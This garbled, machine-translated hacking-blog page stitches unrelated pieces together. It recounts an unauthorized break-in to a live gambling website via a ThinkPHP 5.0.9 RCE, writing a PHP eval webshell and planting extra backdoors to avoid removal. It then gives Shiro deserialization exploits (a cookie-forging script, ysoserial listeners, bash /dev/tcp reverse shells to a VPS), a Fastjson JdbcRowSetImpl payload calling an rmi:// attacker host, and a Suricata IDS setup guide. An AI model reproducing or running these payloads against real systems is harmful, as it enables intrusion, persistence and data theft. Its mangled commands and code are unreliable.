Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112609

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01ターゲットを決定

メインサイト:

1049983-20220106104330681-1405261208.png

サイド:

1049983-20220106104331327-1747311994.png

0x02脆弱性エクスプロイト

情報収集により、TP V5.0.9であることがわかりました。このバージョンにはTP-RCEの脆弱性があります。

1049983-20220106104331825-1027593284.png

ペイロードを介して直接テストします。

投稿:_method=__ constructfilter []=assertmethod=getGet []=phpinfo()

ペイロードを見つけて直接入力します。

投稿:_method=__ constructfilter []=assertmethod=getGet []=phpinfo()

1049983-20220106104332260-1610753114.png

Php 5.4.45からのものであることがわかりました。

ゲッシェルを直接試してみてください:

1049983-20220106104332691-319550220.png

システムが無効になっていることがわかっており、他のシステムコマンドを試してみると同じことが言えます。

1049983-20220106104333144-1922570488.png

phpinfoのdesable_functionsが無効になっている機能を確認してください。

1049983-20220106104333540-1301638445.png

バイパスして馬を書く方法を見つけます(私はここで長い間立ち往生しています)

最後に、侵入の友人を通して、私はfile_put_contentsを使用してシェルを直接書き込むことができる次のものを思いつきました。長い間考えていた後、私は他の機能を使用して馬を直接書くことを忘れていました。システムコマンドを使用して馬を書く必要はありませんが、根本的な知識はまだ弱いです。ありがとうございました!

1049983-20220106104333995-1796623647.png

0x03 getShell

コンストラクトペイロード:

_method=__ constructfilter []=assertmethod=getGet []=file_put_contents( 'a.php'、 '?php eval($ _ post [a])?')

1049983-20220106104334533-47908496.png

文章は成功し、包丁に関連しています。

1049983-20220106104334965-571720133.png

正常に接続されています。

許可を表示:

1049983-20220106104335330-28763533.png

リモートセキュリティモードがアクティブになっていることがわかりました。

バイパスしたい場合、多くの機能が無効になり、アカウントが成功していないことがわかります。

ソースコードをダウンロード:

1049983-20220106104335675-327281683.png

削除を防ぐために、より多くのバックドアを展開します。

0x04要約

1。BC Webサイトを開き、ボトムバージョンの情報を通じて、サイトフレームワークはTP V5.0.9であり、RCEの脆弱性があることがわかりました。

投稿:_method=__ constructfilter []=assertmethod=getGet []=phpinfo()

2。PHP5.4.45バージョンであることがわかりました。コマンドを直接実行しようとすると、システム機能とシステムコマンドを実行する関数も無効になっていることがわかりました。

投稿:_method=__ constructfilter []=assertmethod=getGet []=whoai

3.システムコマンド関数は無効ですが、File_put_Contentsを使用してシェルを直接書き込み、バイパスできます。

4。getShellを入手してください

ペイロードを構築します:

_method=__ constructfilter []=assertmethod=getGet []=file_put_contents( 'a.php'、 '?php eval($ _ post [a])?')

5.正常に書き込み、包丁に接続します

出典:https://xz.aliyun.com/t/9232

shiro

Apache Shiroは、認証、承認、暗号化、セッション管理機能を提供して、複雑な問題を隠し、開発者が独自のプログラムセキュリティコードを簡単に開発できるようにする明確で直感的なAPIを提供します。

Shiroは、Shiroが開発チームが「4つのセキュリティコーナーストーン」と呼ぶものに焦点を当てています - 認証、承認、セッション管理、暗号化

認証:ユーザーIDの識別。時にはそれは「ログイン」と見なすことができます。これは、彼が誰であるかを証明するためのユーザーの行為です。承認:「何が「何にアクセスできるか」を決定するなど、アクセス制御プロセス。セッション管理:WebまたはEJBコンテナのない環境でも、ユーザーセッションを管理します。ユーザーの時間関連ステータスを管理します。暗号化:暗号化アルゴリズムを使用して、データをより安全に保護し、データが覗かれないようにします。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863:Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

バージョンのApache Shiro 1.1.0の前に、Shiroは許可確認を実行する前にURLを標準化しませんでした。攻撃者は /、//、 /./、 /… /などを構築できます。許可確認をバイパスします。

影響バージョン

Shiro 1.1.0およびJSecurity 0.9.x

脆弱性の再発

アクセスページアドレスは:IP:8080です

脆弱性ポイント/管理者

クロスディレクトリを使用して辞書ファズをテストします

image.png

image.png

CVE-2016-4437:Apache Shiro 1.2.4 Deserialization脆弱性/Shiro550

脆弱性の原則

Shiro550の脆弱性に属します。

Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用してユーザーCookieを鍛造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。

Shiroは、デフォルトでCookiereMembermemanagerを使用し、Rememberme Cookieを暗号化し、CookierMemberMemmeManaerクラス、AES暗号化、およびbase64エンコーディング操作の記憶のフィールドコンテンツをシリアル化します。 IDを識別するときは、CookieのRemembermeフィールドを復号化する必要があります。暗号化の順序によれば、復号化の順序は==cookie-base64デコード-aes復号化除表現を取得することであると推測できます。==

影響バージョン

Apache Shiro=1.2.4

脆弱性の再発

認証、承認、パスワード、セッション管理のために、Shiro Frameworkがページのログインを使用するかどうかを判断します。

判断方法:Remember Passwordオプションをチェックした後、[ログイン]をクリックし、パケットをつかみ、リクエストパッケージにRemembermeフィールドがあるかどうか、およびResponseパッケージにSetCookie:Rememberme=DeleTemeフィールドがあるかどうかを観察します。下の写真に似ています。

image.png

image.png

rememberme=deletemeフィールドが応答パッケージに表示される限り、それは脆弱性があることを意味します。片側にするために、rememberme=deletemeフィールドが表示される場合、ログインページが認証にshiroを使用していることのみを示す必要があります。リクエストパッケージのCookieに脆弱性とリコールフィールドがあることを直接示していません。ログインが失敗した場合、Remembermeフィールドがチェックされているかどうかに関係なく、Return PackageにはRembermeme=Deletemeフィールドがあります。ログインが成功した場合、リターンパッケージにはrememberme=deletemeフィールドがあります。ログインが成功した場合、Return Package Set-Cookieにはrememberme=deletemeフィールドがあります。ただし、その後のすべてのリクエストでは、CookieにはRememberme Field Check remembermeがありません。ログインが成功した場合、リターンパッケージにはセットクッキーにRememberme=Deletemeフィールドがあり、Remembermeフィールドがあります。その後のすべてのリクエストで、Cookieには記憶型フィールドがあります。または、Cookieの後に記憶型のフィールドを追加して、rememberme=deremetemeymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=があるかどうかを確認できます。

Java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64、-d} | {bash、-i} '

shiro-exploit.pyを使用して、shiroのデフォルトキーを取得します(ツールアドレス:https://github.com/insightglacier/shiro_exploit)

image.png

shiro.pyを使用してペイロードを生成します(自分でキーを変更する必要があります。Shiro.pyコードは次のとおりです:)

コマンド:Shiro.py 192.168.17.13233606666

shiro.py:

sysをインポートします

uuidをインポートします

base64をインポートします

サブプロセスをインポートします

crypto.cipher Import AESから

def encode_rememberme(command):

popen=subprocess.popen(['java'、 '-jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、command]、stdout=subprocess.pipe)

bs=aes.block_size

pad=lambda S: s +((bs -len(s)%bs) * chr(bs -len(s)%bs))。encode()

key=base64.b64decode( 'kph+bixk5d2deziixcaaaaa==')

iv=uuid.uuid4()。バイト

encryptor=aes.new(key、aes.mode_cbc、iv)

file_body=pad(popen.stdout.read())

base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body)))

base64_ciphertextを返します

__name__=='__main __' :の場合

ペイロード=encode_rememberme(sys.argv [1])

print( 'rememberme={0}'。フォーマット(payload.decode()))

python3 shiro.py 192.168.200.12933606666

ログインした後、パケットをつかみ、データパケットのCookie値を交換して、shiro.pyによって生成されたrememberme

image.png

CVE-2020-1957:Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

プロジェクト全体で要求したURLの着信配信プロセスを分析する必要があります。 Shiroを使用するプロジェクトでは、Shiro Permissions(url2)によって検査され、最後にSpringbootプロジェクトへのルートをプロセス(URL3)で検査したのは、要求したURL(URL1)です。

脆弱性は、URL1、URL2、およびURL3で発生します。それは同じURLではないかもしれないので、Shiroの検証をバイパスし、バックエンドに直接アクセスすることになります。この場合の脆弱性は、この理由によって引き起こされます。

Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。

影響バージョン

Apache Shiro 1.5.2

脆弱性の再発

image.png

URLを変更/管理者は自動的にログインログインページにジャンプします

image.png

許可バイパス
の悪意のあるリクエストを構築します

コードレベルが追加されているため。それはバイパスされたものとして認識されます。 1つ/ショートを追加します。

URLは/xxx/.

/xxx/./admin/

image.png

shiro 721

脆弱性の再発:CVE-2019-12422

環境:Kali Linux

Dockerビルドとスタート

git clone https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -T Shiro -721。

docker run -p 8080:8080 -d shiro -721

アクセス:

image.png

image.png

image.png

正しいアカウントパスワードでログインする場合、下の図に示すように、2つのリクエストパケット、つまり投稿とgetpostリクエストパケットを送信します(正しいアカウントパスワードでログインすることで取得したパッケージ)image.png

Get Request Packageは次のとおりです(これは、正しいパスワードでログインして、主にCookie値を背景に送信することで取得したパッケージです)image.png Rememberme=Deletemeフィールドを見ると、Shiro Deserializationの脆弱性image.png44444444があると言えます。

BurpプラグインはHAEとLOGGER ++を追加してShiroの指紋を表示します

image.png

image.png

ツールの使用率:

image.png

fastjson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

脆弱性の原則

この脆弱性の原則は、FastJsonの脱介入メカニズムにあります。 FastJsonがJSONデータを解析すると、JSONデータをJavaオブジェクトに変換しようとします。このプロセスでは、FastJSONはJSONデータのタイプ情報に基づいてデータを解析する方法を決定します。攻撃者は、この機能を利用してJSONの特定のデータ型と構造を構築することができます。そのため、FastJSONは解析中に悪意のあるJavaクラスまたはメソッドを呼び出して、リモートコードの実行を実現します。

一般的な悪用方法は、FastJSONのオートタイプ関数を使用することです。オートタイプは、シリアル化と脱派の際にクラスの完全に適格なクラス名を使用できるFastJSONの機能です。攻撃者は、悪意のあるJSONデータを構築し、悪意のあるクラスをオートタイプの価値として使用できます。 FastJsonが脱必要になると、指定されたクラスをインスタンス化してクラス内のコードを実行しようとします(Exploitプロセスでは、JDBCrowsetlMPLは一般にチェーンを悪用するために悪用されます)。

@typeフィールド

@Typeは、オブジェクトタイプの情報を処理するために使用されるFastJSONの特別なフィールドの1つです。 JSONデータでは、 @ティプフィールドを使用して、脱出中にインスタンス化する必要があるクラスのタイプを指定できます。このフィールドは通常、特にFastJSONのオートタイプ関数が有効になっている場合、脱シリア化中にオブジェクトのタイプ情報を指定するために使用されます。

@Typeフィールドを介して、FastJSONはクラスを識別し、そのフィールドで提供されるクラスパスに基づいてオブジェクトを作成できます。これは、オブジェクトの正確なタイプを指定できるため、複雑なオブジェクト構造をシリアル化して隔離する場合に非常に便利です。

ただし、悪意のあるユーザーがこのフィールドを使用して悪意のあるJSONデータを構築し、@Typeフィールドの悪意のあるクラスパスを指定することができるのは、まさに@Typeフィールドの存在と使用のためです。このようにして、脱出プロセス中に、FastJSONは@Typeフィールドで指定されたクラスパスに基づいて対応するクラスをインスタンス化しようとします。

jndi

JNDI、RMI、およびLDAPは、さまざまな目的でJavaで使用されるテクノロジーです。

JNDI(Javaネーミングとディレクトリインターフェイス):JNDIは、さまざまな命名およびディレクトリサービスにアクセスするために使用されるJavaのAPIのセットです。 JNDIは、JavaアプリケーションがDNS、LDAP、RMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および使用できるようにする統一アクセス方法を提供します。JNDIの目的は、Javaアプリケーションが異なるサービスの命名とディレクトリの作業を利用できるようにすることです。 RMI(リモートメソッド呼び出し):RMIは、Javaでリモートメソッド呼び出しを実装するために使用されるメカニズムです。これにより、異なるJava仮想マシン間のオブジェクト間の通信とメソッド呼び出しが可能になります。分散システムでは、RMIを使用すると、リモートシステムが互いの方法を呼び出して、リモートオブジェクト間の相互作用を実現できます。 LDAP(LightWeight Directory Access Protocol):LDAPは、分散ディレクトリサービスにアクセスするために使用されるプロトコルです。通常、ユーザー情報、組織構造などの構造化されたデータを保存するために使用されます。JAVAでは、JNDIはLDAPアクセスのサポートを提供し、JNDIがユーザー認証、データの検索などのLDAPディレクトリサービスを接続および操作できるようにします。 JNDIを使用すると、LDAPサーバーを接続および操作し、LDAPディレクトリにデータを取得および保存できます。さらに、JNDIを使用して、RMIレジストリ内のリモートオブジェクトを見つけて、リモートメソッド呼び出しを実装することもできます。

要約すると、JNDIはJavaのAPIとして、さまざまなサービスにアクセスする統一された方法を提供し、JavaアプリケーションがLDAPやRMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および操作できるようにします。

jdbcrowsetimplはチェーン

を利用します

Fastjsonでは、脱介入攻撃にJDBCrowsetimplを使用します。 JDBCrowsetimplの利用チェーンの焦点は、AutoCommit Setメソッドを呼び出す方法です。 FastJSONの脱必要異常の特徴は、クラスの設定方法を自動的に呼び出すことであるため、脱出の問題があることです。 @Typeタイプが策定されている限り、対応するクラスを自動的に呼び出して解析します。

これにより、利用チェーンを構築できます。 @TypeのタイプがJDBCrowsetImplの場合、JDBCrowsetImplクラスがインスタンス化されます。したがって、DataSourcenameがLookupメソッドに渡される限り、リモート攻撃サーバーにアクセスできるようにし、AutoCommitプロパティを使用してルックアップをトリガーできます。プロセス全体が次のとおりです。

DataSourCenameを設定してルックアップに属性を渡す方法- AutoCommitプロパティを設定し、SetAutoCommit関数を使用して接続関数をトリガーする - 以下のルックアップ関数は、DataSourcenameパラメーターを使用し、RMIを介してリモートサーバーにアクセスできます。

エクスプロイトは次のとおりです。

{"@type" : "com.sun.rowset.jdbcrowsetimpl"、 "datasourcename" : "rmi: //192.168.17.393:999/exploit"、 ":true}

次のことに注意する価値があります。1。DataSourcenameをオートコンミットの前に配置する必要があります。なぜなら、降下が設定されている場合、属性が順番に設定され、最初にetDataSourCenameが設定され、次にsetAutoCommitです。 2. RMIのURLは、リモートファクトリークラスの名前に従って取得します。これは、パスの下の名前が検索するクラスとしてLookup()で抽出されるためです。

FastJSON検出バージョン

1。DNSLOGを使用して奪ってください。 DNSLOGのほとんどがブラックリストに記載されているため、独自のDNSLOGを使用するのが最善です。

2。エラーメッセージがあり、バージョン番号のペイロードは「{"and"、 "、欠陥のあるコードブロックを入力して例外をスローする前に読み取られていません

3.スクリプトを使用してバージョン番号をすばやく検出します。つまり、各POCが1回呼び出されます。

CVE-2017-18349 FastJSON 1.2.24-RCE

0x00はじめに

Fastjsonは、AlibabaのオープンソースJSON解析ライブラリです。 JSON形式で文字列を解析したり、JSONの弦にJava Beanのシリアル化をサポートしたり、JSON文字列からJavabeansへの降下をサポートします。つまり、FastJSONの主な機能は、Java BeanをJSON文字列にシリアル化することです。これにより、文字列を取得した後、データベースなどを介して持続できます。

0x01脆弱性の概要

JSONを解析する過程で、FastJSONはオートタイプの使用をサポートして特定のクラスをインスタンス化し、クラスのセット/GETメソッドを呼び出して属性にアクセスします。コードに関連する方法を見つけることにより、いくつかの悪意のあるエクスプロイトチェーンを構築できます。

0x02影響バージョン

インパクトの範囲:FastJSON=1.2.24

0x03環境構築

CD /vulhub/fastjson/1.2.24-rce

docker -compose up -d

Docker PS

image.png

Dockerはポート8090を開き、ターゲットマシンIPにアクセスします

http://192.168.200.16:8090/

image.png

JDKバージョンの切り替え

脆弱性のエクスプロイトにはJDK8が必要であり、Kaliに付属するJDKはJDK11をここでは使用できないため、KaliのJDK1123を最初にアンインストールする

dpkg - リスト| GREP -I JDK #ViewインストールJDKパッケージ

apt-get purge openjdk-* #uninstall openjdk関連パッケージ

dpkg - リスト| grep -i jdk#すべてのJDKパッケージがアンインストールされていることを確認してください

jdk1.8をダウンロードします

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

圧縮パッケージをKaliに入れて、環境変数を減圧して構成します

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA#PLACE IN /OPT /JA

環境を取得:

ミラーをローカルに引っ張ります

$ docker pull medicean/vulapps:s_shiro_1

環境を開始します

$ docker run -d -p 80:8080 Medicean/vulapps:S_shiro_11。 shiro_attack_2.2ツールを使用してターゲットシステムを確認し、デフォルトキーがあるが、使用率チェーンはないことを発見しました

image_ylgMY223mT.png

2。shior_tools.jarを使用して、ターゲットシステムを直接検出します。検出が完了すると、実行可能操作が返されます。

Java -jar Shiro_tool.jar http://10.11.10.10.10833608081/login.jsp

vmd4mlzogw52427.png

2. [0]を選択し、DNSLOGアドレスを入力します。 DNSLOGテストを通じてエコーがあります。メモは次のとおりです。http://dnslog.cn/someサイトを使用すると、複数のdnslogプラットフォームに変更してテストできます。

image_htB_EhwPH9.png

dnslogにはエコーがあります。次に、シェルを取得します。固定思考のために、私は以前にLinuxに遭遇しました。私はそれがLinuxだと思ったが、私はそれをうまく使わなかった。最初は、ファイアウォールの傍受だと思っていました。その後、ディレクトリ構造を検出して、それがWindowsであることがわかったので、ここでペイロードを変更する必要がありました。

3. Ysoserialを使用して、パブリックネットワークVPSでポートを開き、リバウンドコマンドを実行します

Java -CP YSOSERIAL-MASTER-30099844C6-1.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1999 CommonsCollectionS5 'エンコード後のBASHコマンド

teszfudneua2429.png

image_wvD-c4KvV-.png

1049983-20231226000544164-439019386.jpg

ここのエンコードコンテンツはステップ4にあります

ピット1:commonscollection1-5シェルがリバウンドしない場合は、代わりに使用します

4.バッシュリバウンドコマンド編集

https://x.hacking8.com/java-runtime.html//encoded link

次の3種類の実行コマンドが必要に応じて選択されます。

ピット2:ここで実行されたbashコマンドは、最初に相手の実行システムに依存します。 Linxuの場合は、次の3つを試してください。勝っている場合は、Baiduリバウンドコマンドを個別に送信してください。

bash -i/dev/tcp/vpsip/7777 01

/bin/bash -i/dev/tcp/vpsip/7777 01 21

0196; exec 196/dev/tcp/vpsip/7777; SH 196 196 2196

2番目のタイプ、IP:シェルのVPSを受け入れるIPは、ポート:NCを使用して監視を開き、リバウンドするポートです。

/bin/bash -i /dev/tcp/192.168.14.222/8888 01 21

tr1mmaku1md2432.png

Windows:Java -CP YSOSERIAL-0.0.6-SNAPSHOT-1.8.3.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 88 COMMONSBEANUTILS2 'LDAP: //VPSアドレス:1389/基本/コマンド/D2HVYW1P'

d2hvyw1pはコマンドのbase64です。ここに実行コマンドwhaamiがあります

Java -jar jndiexploit -1.0 -snapshot.jar -i VPSアドレス

5。NCモニタリング

jsnnlcnbrn02433.png

6.シェルのVPSによって開かれたポートとJava-solserial-jrmplistenerを入力します(ここで1を選択して、Jrmpclientを使用してシェルをリバウンドします)

dtvgbzrtuyc2434.png

7.実行の成功、リバウンドシェル

ta01fpf2ar22435.png

oehbrq3rwby2437.png

0l4rrdafylr2438.png

1。システム環境構成

システム環境:CENTOS7X64 IPアドレス:172.16.91.130

1。静的IPアドレスを設定します

[root@localhost backlion] #vi/etc/sysconfig/network-scripts/ifcfg-*

bootproto=static #dhcp to static(modify)

onboot=はい#この構成は、通常は最後の行で電源を入れるときにenableです(変更)

iPaddr=172.16.91.130 #Static IP(追加)

ゲートウェイ=172.168.91.1 #Default Gateway、仮想マシンがインストールされている場合、通常は2、つまりVMNET8のゲートウェイ設定(追加)です。

netmask=255.255.255.0 #subnetマスク(追加)

DNS1=172.16.95.70 #DNS構成。仮想マシンをインストールする場合、DNSのみがゲートウェイです。複数のDNS URLを追加する場合は、それらを追加します(追加)

[root@localhost〜]#/etc/init.d/network再起動

DNS:をセットアップします

vim /etc/resolv.conf

nameserver=114.114.114.114

nameserver=8.8.8.8

2。ホスト名を設定

[root@localhost network-scripts]

Vim /etc /hosts最後に、IPとホスト名のバインディングを追加します

127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4

:1 localhost localhost.localdomain localhost6 localhost6.localdomain6

172.16.91.121 elk-server.com elk#最後の1つはホスト名のエイリアスです。イントラネット名ドメイン名:パブリック名ホスト名は、イントラネットのDNSに相当するローカルホストのホスト名ではありません。

3。ファイアウォールをオフにします

[root@selks-server〜]#cat

/etc/selinux/config

#このファイルはの状態を制御します

システム上のselinux。

#selinux=これらのいずれかを取得できます

3つの値:

#enforcing -selinuxセキュリティ

ポリシーが実施されます。

#permissive -selinuxプリント

強制する代わりに警告。

#Disabled- SELINUXポリシーはありません

ロード。

selinux=disabled

#SELINUXTYPE=の1つを取ることができます

3つの値:

#targeted-ターゲットプロセス

保護されています、

#minimum-の変更

ターゲットポリシー。選択されたプロセスのみが保護されています。

#MLS-マルチレベルのセキュリティ

保護。

selinuxType=ターゲット

または

[root@localhost〜]#sed -i

7s/endforcing/disabled//etc/selinux/config

閉じるファイアウォール:

[root@selks-server〜]#systemctl

firewalld.service #stop firewallを停止します

[root@selks-server〜]

[root@localhost〜] #systemctl

List-Unit-Files | Grep Firewalld#ファイアウォールがランダムに開始されるかどうかを確認します

4。 wget

をインストールします

[root@selks-server〜]#yumインストールwget –y

5。 Yumソースを交換

Alibabaクラウドソースに置き換え、システムを更新してソフトウェアをすばやくダウンロードする4

[root@selks-server〜]#yum

WGETをインストールします

[root@selks-server〜]#mv /etc/yum.repos.d/centos-base.repo /etc/yum.repos.d/centos-base.repo.backup

[root@selks -server〜]#wget -o

/etc/yum.repos.d/centos-base.repo http://mirrors.aliyun.com/repo/centos-7.repo

[root@selks-server〜]#yum cleanすべて

[root@selks-server〜]#yum makecache

6.システムを挿入

[root@selks-server〜]#yum -y

アップデート

7。 Epelソースを取り付けます

[root@selks-serverルール]#yum -y

Epel-Releaseをインストールします

8。時間同期

[root@localhost yum.repos.d]#yum

-Yインストールntp ntpdate #install ntp time同期関連ソフトウェアパッケージ

[root@localhost yum.repos.d] #cat /etc/ntp.conf #confirm構成ファイルに次の時間同期ソースがあること

サーバー0.rhel.pool.ntp.org iburst

サーバー1.Rhel.pool.ntp.org iburst

サーバー2.Rhel.pool.ntp.org Iburst

サーバー3.Rhel.pool.ntp.org iburst

[root@localhost yum.repos.d]#systemctl enable ntpd #set ntpdでntpdを自動的に開始する

[root@localhost yum.repos.d]#SystemCtl

NTPD #Start NTPDサービスを今すぐ開始してください

[root@localhost yum.repos.d]#

CP

/usr/share/ゾーンインフェ/アジア/上海/etc/localtime

[root@localhost yum.repos.d]#日付#時間が現在の時刻と一致していることを確認してください

9.ルートを追加します

使用法:route add -net | -host dest gw

Nexthop

ルート追加-NET 10.0.0.0/8 GW

192.168.10.1 #ADDルート

ルート追加デフォルトGW

192.168.10.1 #ADDデフォルトルート

ネットワークカードに関するルートを永続的に追加/削除:/etc/etc/network-scripts/route-interface_name

vim

/etc/network-scripts/route-eth0

address0=222.16.60.148

NetMask0=255.255.255.0

Nexthop0=222.16.60.254

アドレス1=222.16.60.214

NetMask1=255.255.255.0

Nexthop1=222.16.60.254

2。 Suricata

をインストールします

1。依存関係パッケージ[root@selks-server〜]#yumをインストールします

wget libpcap-devel libnet-devel pcre-devel gcc-c ++ automake autoconfをインストールします

libtoolは、libyaml-devel zlib-devel file-devel jansson-devel nss-develを作ります

2。Suricata http://Suricata-Ids.org/download/の最新のインストールパッケージをダウンロードしてください(2018年6月14日現在、最新バージョンは4.0.4)

[Root@Selks-Server〜]

[root@selks-server〜]#tar zxvf

Suricata-4.0.4.tar.gz

[root@selks-server〜]#CD

Suricata-4.0.4

3. [root@selks-server〜]#。/configureをコンパイルしてインストールします

Make Make install-full

a2rly1osaij8989.jpg

知らせ:

デフォルトでは、利用可能なコミュニティルールセットスナップショットは、http://rules.emergingthreats/communityからダウンロードされ、/usr/local/etc/suricata/rulesディレクトリに保存されます。

e0o0tj3yj2p8990.jpg

Suricata構成ファイルへのパスは次のとおりです。

/usr/local/etc/suricata/suricata.yaml

4. Suricataを構成する場合:Suricataは、どのポートを使用してもHTTPトラフィックを自動的に検出できることに注意してください。したがって、http_ports変数を正しく指定することはあまり重要ではありません。コマンドは次のとおりです。

[root@selks-server〜]#vim /usr/local/etc/suricata/suricata.yaml

#suricataの構成ファイルは、デフォルトでは/etc/suricata/suricata.yamlにあります。開始する前に、いくつかの重要な変数を構成する必要があります。そのうち、変数は2つのグループに分割されます。1つはアドレスグループ、もう1つはポートグループです。サンプル構成ファイルは次のとおりです

注: home_netが設定されている場合、external_netが設定されています! home_netが設定されている場合、エラーが報告されます。 home_netがイントラネットアドレスを設定している場合、external_netはに設定されています! $ home_netの場合、イントラネット間の一部のアラームは一致できません

address-groups: #configureアドレスグループ

home_net:

'[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]' #Suricataがチェックするネットワークを指定します

#HOME_NET:

'[192.168.0.0/16]'

#HOME_NET: '[10.0.0.0/8]'

#HOME_NET: '[172.16.0.0/12]'

#HOME_NET: 'ANY'

#external_net: '!$ home_net'

external_net: '任意の'#ローカルエリアの外側の他のネットワークアドレスをセットします

http_servers: '$ home_net'

smtp_servers: '$ home_net'

sql_servers: '$ home_net'

dns_servers: '$ home_net'

telnet_servers: '$ home_net'

aim_servers: '$ extenult_net'

dnp3_server: '$ home_net'

dnp3_client: '$ home_net'

modbus_client: '$ home_net'

modbus_server: '$ home_net'

enip_client: '$ home_net'

enip_server: '$ home_net'

ポートグループ:

http_ports: '80'#異なるサービスで使用されるポート番号を識別する

shellcode_ports: '!80'

oracle_ports: 1521

SSH_PORTS: 22

DNP3_PORTS: 20000

modbus_ports: 502

file_data_ports:

'[$ http_ports、110,143]」

FTP_PORTS: 21

##

ステップ2:有効または無効にするルールを選択します

##

Default-Rule-Path:

/usr/local/etc/suricata/rules#デフォルトのルールライブラリパスアドレスをセットします

Rule-Files:

-botcc.rules

# - botcc.portgrouped.rules

-ciarmy.rules

- 妥協した

-drop.rules

-dshield.rules

-Elging-Activex.rules

-Elging-Attack_response.rules

-Emerging-chat.rules

-egling-current_events.rules

-Emerging-dns.rules

-Emerging-dos.rules

-Elging-Exploit.rules

-Emerging-ftp.rules

-Emerging-Games.rules

-Emerging-ICMP_INFO.RULES

-ICMP.rules

-Emerging-imap.rules

- 新たに不適切な

-ingeling-info.rules

-mallware.rules

-mewing-misc.rules

-moving-mobile_malware.rules

-Nemuling-netbios.rules

-Emerging-P2P.rules

-Emerging-Policy.rules

-Emerging-Pop3.rules

-Emerging-RPC.rules

-Emerging-Scada.rules

-Emerging-Scada_special.rules

-Emerging-Scan.rules

-Elging-ShellCode.rules

- 新興smtp.rules

-Emerging-Snmp.rules

-Emerging-SQL.rules

-egling-telnet.rules

-Emerging-TFTP.rules

-Emerging-Trojan.rules

-egling-user_agents.rules

-Emerging-voip.rules

-WEB_CLIENT.RULES EMERGING-WEB_CLIENT.RULES

-WEB_SERVER.RULES EMERGING-WEB_SERVER.RULES

-WEB_SPICIFIFIC_APPS.RULES

-Worm.rules

-tor.rules

-decoder-events.rules#ルールdirの下でスリカータソースで利用可能

-Stream-Events.rules#が入手可能

ルール監督に基づくスリカータソース

-http-events.rules#ルールの下でSuricataソースで利用可能

監督

-SMTP-Events.rules#は、ルールに基づくSuricataソースで利用可能です

監督

-DNS-Events.rules#は、Suricataのソースで利用可能です

ルール監督

-TLS-EVENTS.RULES#は、Suricataのソースで利用可能です

ルール監督

-modbus-events.rules#が入手可能

ルール監督に基づくスリカータソース

-App-Layer-events.rules#が入手可能

ルール監督に基づくスリカータソース

-DNP3-EVENTS.RULES#が利用可能です

ルール監督に基づくスリカータソース

-NTP-Events.rules#が入手可能

ルール監督に基づくスリカータソース

分類-File:

/usr/local/etc/suricata/classification.config

Reference-config-file:

/usr/local/etc/suricata/reference.config

しきい値file:

/usr/local/etc/suricata/threshold.config

##

##ステップ3:出力を選択します

有効にする

##

タイプ:

-Alert:

#payload: yes#base64でペイロードのダンプを有効にします

Payload-Buffer-Size: 6kb#max

イブログペイラードサイズの制限で出力するペイロードバッファーのサイズ

Payload-Printable:はい#プリント可能にペイロードのダンプを有効にします

(損失)フォーマット元のペイロードを記録します

#packet:はい#パケットのダンプを有効にします

(ストリームセグメントなし)

#http-body: yes#httpボディのダンプを有効にする

base64

http-body-printable: yes#dumping of

印刷可能な形式のHTTPボディは、httpオリジナルサウンドを記録します

Metadata:はい#L7/Applayerフィールド、Flowbitを追加します

アラートへの他のVAR

#パターンマッチャーバッファと

できるだけ多くのパケットを並行してスキャンします。Max-Pending-Packets: 1024#Suricataが同時に1と同時に処理できるパケットの数をセットし、最大値はメモリのサイズに依存します。メモリが大きくなると、より大きな値を設定し、パフォーマンスが向上する可能性があります。デフォルト値は1024です

オペレーティングシステムネットワークスタック自身の動作を防ぐために使用されるよく知られている攻撃方法のいくつか(たとえば、TCP再組み立て)。対策として、Modern IDCは、ターゲットオペレーティングシステムの検出エンジンアルゴリズムを微調整することにより、「ターゲットベースの」検出手段を提供します。したがって、ホストがどのオペレーティングシステムを実行しているかを知っている場合、この情報をSuricataに提供すると、検出の成功率を大幅に改善できます。これがHost-Os-Policyの存在です。この例では、デフォルトのIDCポリシーはLinuxシステムです。 IPアドレスにオペレーティングシステム情報が指定されていない場合、SuricataはデフォルトでLinuxベースの検出ポリシーを適用します。次のように、192.168.122.0/28および192.168.122.155への通信がキャプチャされると、SuricataはWindowsベースの検出ポリシーを適用します。

host-os-policy:

#デフォルトのポリシーウィンドウを作成します。

Windows: [10.22.0.0/24]

BSD: []

bsd-right: []

old-linux: []

Linux: [0.0.0.0/0,10.22.0.188]

Old-Solaris: []

solaris: []

hpux10: []

hpux11: []

irix: []

macos: []

Vista: []

Windows2k3: []

5。ネットワークカードLGO/GRO機能をオフにします(ネットワークカード名は実際の実際のものと組み合わせて変更されます)[root@selks -server〜]#ethtool -k

ens32 gro off lro off

変更できません

大規模なオフロード(ネットワークカードがLRO/GRO機能をサポートしていないことを意味します。

